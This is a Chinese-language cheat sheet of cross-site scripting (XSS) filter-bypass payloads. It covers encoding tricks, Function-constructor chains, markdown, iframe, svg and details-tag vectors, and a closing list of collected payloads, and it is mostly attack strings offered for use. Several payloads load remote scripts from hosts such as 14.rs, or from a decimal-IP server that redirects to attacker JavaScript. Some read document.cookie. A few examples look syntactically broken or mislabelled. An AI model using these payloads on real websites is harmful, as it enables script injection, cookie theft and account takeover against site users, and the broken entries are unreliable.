1. 过滤()
用`,用反引号代替小括号实现绕过。
例如
<script>alert(1)</script>
可以用
<script>alert`1`</script>
来绕过
2. 过滤=
如果过滤了=
等号,那我们就不能构建类似src="xxx"这样的形式,所以我们可以使用document.write
将内容进行unicode编码后输出在页面上。
例如我们需要引入第三方的js时我们会使用
<script src="http://xxx.com/alert.js"></script>
我们可以将此内容进行unicode编码后使用document.write
将内容输出。
<script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0078\u0078\u002e\u0063\u006f\u006d\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
3. 过滤.
- 过滤了
.
的话有两种办法,如果使用document.write
,则可以使用document['write']
来代替,然后里面的内容按照上面进行unicode编码后即可不用个担心链接中的.
。 - 如果不使用上面方法,或者不能进行unicode编码只能用链接的时候,难免在链接中会出现
.
,这是我们可以尝试将.
使用二次url编码,例如<script src="http://xxx%252ecom/alert%252ejs"></script>
- 还有一种方法是将
src
后面的网址改成自己vps服务器的地址的十进制,然后使用302重定向到目标js上,例如
<script src="http://2071690107"></script>
然后在自己vps上使用php做重定向到目标js上
<?php header("Location: http://xxx.com/alert.js");?>
4. setTimeout()
函数(延迟执行JS代码)
setTimeout(JS函数名, 等待的毫秒数,参数1,参数2)
:延时后执行指定JS函数,并传入参数1,参数2setTimeout(JS代码(字符串格式), 等待的毫秒数)
:延时后执行指定字符串中的JS代码,与EVAL类似
<script>setTimeout`alert\u00281\u0029`;</script>
5. 利用constructor
构造弹框
其根本原理是使用Function来构造匿名函数,然后在其中写入任意的js代码进行执行
let sayHi = new Function('alert("Hello")');sayHi();
写成一句直接调用
new Function('alert("Hello")')();
//再精简:
Function('alert("Hello")')()
接下来我们替换Function
String.constructor('alert("Hello")')()
//弹框
Object.constructor('alert("Hello")')()
//弹框
由于"1".constructor === String
,所以以此可以替换String
"1".substr.constructor("alert(1)")()
然后根据a.b与a[b]等价
//payload1
""["substr"]["constructor"]("alert(1)")()
//payload2
""["constructor"]["constructor"]("alert(1)")()
针对字符串,可以使用16进制,8进制转码,例如使用8进制转码:
""["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()
例如使用img标签:
<img src=x onerror=""1"["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()">
6. markdown造成xss
- 即使有时候对输入的内容进行了html实体编码,但一些网站的留言系统等都支持用户使用md格式进行评论,所以当我们输入:
[click me](javascript:alert(document.cookie))
就会被自动格式化成:
<a href="javascript:alert(document.cookie)">Click me</a>
只要一点击就会有弹窗
- 如果没有进行html实体编码,我们可以像这样插入图片,通过闭合引号来构造xss
)
就格式化成了
<img src="" onerror="alert('xss')" alt="test">
由于是img标签,无需点击也可自动触发。
7. 通过一些特殊的编码或空格
JS16编码:
<img/src='1'onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>
UTF-16、Unicode、Hex编码
//ASCII转UTF-16
<img src="1" onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")>
//ASCII转Unicode
<img src="1" onerror=eval("alert(/xss/)")>
//ASCII转Hex
<img src="1" onerror=eval("alert(/xss/)")>
String.fromCharCode
静态 String.fromCharCode()
方法返回由指定的 UTF-16 代码单元序列创建的字符串。
<img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>
过滤空格
<img/src=""onerror="alert(/xss/)">
<img/**/src=""onerror="alert(/xss/)">
<img/*a*/src=""onerror="alert(/xss/)">
data:text/html;base64,
<iframe/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">
<object/data=data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=></object>
8. 利用<iframe>
- 一般方式利用ifrane构造xss
<iframe onload=alert(/xss/)>
<iframe src=javascript:alert(/xss/)>
- 二般方式配合replace绕过:
首先先写一个空iframe的标签<iframe></iframe>
然后使用frames[0].location.replace()
,
frames[0]
表示第一个iframe框架,即我们刚刚创建的那个
location
表示获取标签的url
然后使用replace
方法加载指定的文档来替换当前的文档,即替换当前的窗口页面
由于location
获取的是标签的url,所以我们将我们弹窗的payload经过base64编码就可以
利用data 协议。text/html 指定了数据格式,base64 指定了编码类型为 base64 编码。
然后再配合a.b与a[b]等价
:
<iframe></iframe><script>frames[0]['location'].['replace']`data:text/html;base64,PHNjcmlwdD5hbGVydGAxYDwvc2NyaXB0Pg==`</script>
9. 利用<img>
最开始可以用<img/src=1>
去检测
<img/src='123'onerror=alert(1)>
<img/src='123'onerror=[/xss/].find(alert)>
10. 利用<a>
<a/href=javascript:alert(1)>click
<a”/onclick=(confirm)()>click
上面a后面的引号可以是中文也可是英文
11. 利用<animate>
(动画)
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(document.cookie)" /><a id=xss><text x=20 y=20>XSS</text></a >
我们可以进而对values属性中的任何字符进行HTML编码:
<svg><animate xlink:href=#xss attributeName=href values="javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
做进一步简化后
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
可以参考这篇文章:animate(动画)标签的xss利用
12. 利用<details>
<details open ontoggle=confirm(0)>
<details/open/ontoggle=(confirm)()//
<details/open/ontoggle=alert()>
<details/open/ontoggle=co\u006efir\u006d`1`>
13. 利用<d3v>
<d3v/onmouseleave=[2].some(confirm)>click
<d3v/onauxclick=(((confirm)))“>click
<d3v/onmouseleave=[2].some(confirm)>click
14. textarea
<textarea><img src="</textarea><img src='>script' onerror=alert(1)>//">
15. 利用?.
?.是JavaScript的可选链运算符,如果alert不为null或undefined,会执行alert()
alert?.(document?.cookie)
window?.["a" + "le" + "rt"]?.(`wwas`)
JS中一些奇怪的函数、特性
alert(1)
(alert)(1)
a=alert,a(1)
[1].map(alert)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
收集一些奇奇怪怪的payload
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>
<img src='404s' onerror="(window)['p'+'rompt']`1`">
ja	v	asc	ri	pt
:8080;al	e	rt(document.location)
这个感觉很不错:AwesomeXSS